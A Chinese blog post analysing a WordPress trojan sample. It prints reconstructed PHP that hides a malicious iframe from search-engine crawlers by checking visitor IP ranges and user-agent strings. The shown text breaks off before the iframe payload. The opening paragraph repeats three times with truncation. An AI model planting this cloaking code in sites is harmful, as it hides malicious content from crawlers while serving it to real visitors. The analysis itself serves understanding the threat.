当前位置:  首页  >  PHP教程  >  PHP 应用  >  代码收藏

一个Wordpress木马样本分析

在饭否看到zuola说得到一个wordpress木马脚本,于是就点了连接,并简单的看了看这个样本。原理比较简单,先判断访问来源是否是搜索引擎的蜘蛛或bot,再确定是否显示一个有问题iframe——木马的效力也取决于这个iframe中的内容。这一小段PHP脚本也完全可以用

在饭否看到zuola说得到一个wordpress木马脚本,于是就点了连接,并简单的看了看这个样本。原理比较简单,先判断访问来源是否是搜索引擎的蜘蛛或bot,再确定是否显示一个有问题iframe——木马的效力也取决于这个iframe中的内容。这一小段PHP脚本也完全可以用

在饭否看到zuola说得到一个wordpress木马脚本,于是就点了连接,并简单的看了看这个样本。原理比较简单,先判断访问来源是否是搜索引擎的蜘蛛或bot,再确定是否显示一个有问题iframe——木马的效力也取决于这个iframe中的内容。这一小段PHP脚本也完全可以用到其它任何PHP程序中。

将源代码做了个简单的整理如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

error_reporting(0);

$bot = FALSE ;

$user_agent_to_filter = array('bot','spider','spyder'... ...'mybloglog api');

$stop_ips_masks = array(

array("216.239.32.0","216.239.63.255"),

array("64.68.80.0" ,"64.68.87.255" ),

... ... ...

... ... ...

array("72.30.0.0","72.30.255.255"),

array("38.0.0.0","38.255.255.255")

);

$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));

foreach ( $stop_ips_masks as $IPs ) {

$first_d=sprintf("%u",ip2long($IPs[0]));

$second_d=sprintf("%u",ip2long($IPs[1]));

if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {

$bot = TRUE;

break;

}

}

foreach ($user_agent_to_filter as $bot_sign){

if(strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){

$bot = true;

break;

}

}

if (!$bot) {

echo '